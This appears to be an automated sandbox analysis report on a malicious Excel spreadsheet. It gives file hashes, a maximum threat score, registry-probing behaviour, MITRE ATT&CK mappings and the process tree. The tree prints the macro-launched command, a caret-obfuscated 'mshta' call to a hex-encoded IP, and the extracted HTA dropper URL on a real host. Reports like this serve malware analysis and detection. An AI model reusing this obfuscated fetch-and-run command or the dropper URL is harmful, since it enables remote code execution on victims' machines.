24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24

General

Target

24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24.xls
Size

102KB
MD5

e0afe16bc322e3a665831725ef87d03f
SHA1

642990e1712c48f480beb3a34092d8aab3625f40
SHA256

24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24
SHA512

0cbbe8bf34e76292dfe1a2bc4e2546ef6c74a5a72288b728ee45eba29700166e38d594a4ba2ae5f4c4bbff15817eecc6aaf79d86fe445e6bf866bc6605dc109d
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1204	460	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	4528	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
460	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE
460	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 460 wrote to memory of 1204	460	EXCEL.EXE	87
PID 460 wrote to memory of 1204	460	EXCEL.EXE	87
PID 1204 wrote to memory of 4528	1204	cmd.exe	89
PID 1204 wrote to memory of 4528	1204	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:460
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:4528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
e22677c23b8b5447c6e99ec7f4a4cb84

SHA1
b0fd95fa0798bad5b80bcdb639ecf12820d5bb15

SHA256
cac7f75a884d43df73414c4dcad79cd1fb82cc8d08226f625ee90d38c6162fd6

SHA512
190f3cb7cf49048abf97cce070e6cbc5c7a43a4480888531704f25540c508e953049e963b22c06a7d1fac248a0cb8e11a2c3247c70311c33545b2f5fc59c2324

Download Submit
memory/460-11-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-14-0x00007FF91C120000-0x00007FF91C130000-memory.dmp

Filesize
64KB

Download
memory/460-5-0x00007FF91E7F0000-0x00007FF91E800000-memory.dmp

Filesize
64KB

Download
memory/460-4-0x00007FF91E7F0000-0x00007FF91E800000-memory.dmp

Filesize
64KB

Download
memory/460-1-0x00007FF95E80D000-0x00007FF95E80E000-memory.dmp

Filesize
4KB

Download
memory/460-9-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-8-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-12-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-13-0x00007FF91C120000-0x00007FF91C130000-memory.dmp

Filesize
64KB

Download
memory/460-15-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-2-0x00007FF91E7F0000-0x00007FF91E800000-memory.dmp

Filesize
64KB

Download
memory/460-7-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-0-0x00007FF91E7F0000-0x00007FF91E800000-memory.dmp

Filesize
64KB

Download
memory/460-6-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-16-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-18-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-17-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-10-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-29-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-30-0x00007FF95E80D000-0x00007FF95E80E000-memory.dmp

Filesize
4KB

Download
memory/460-31-0x00007FF95E770000-0x00007FF95E965000-memory.dmp

Filesize
2.0MB

Download
memory/460-3-0x00007FF91E7F0000-0x00007FF91E800000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads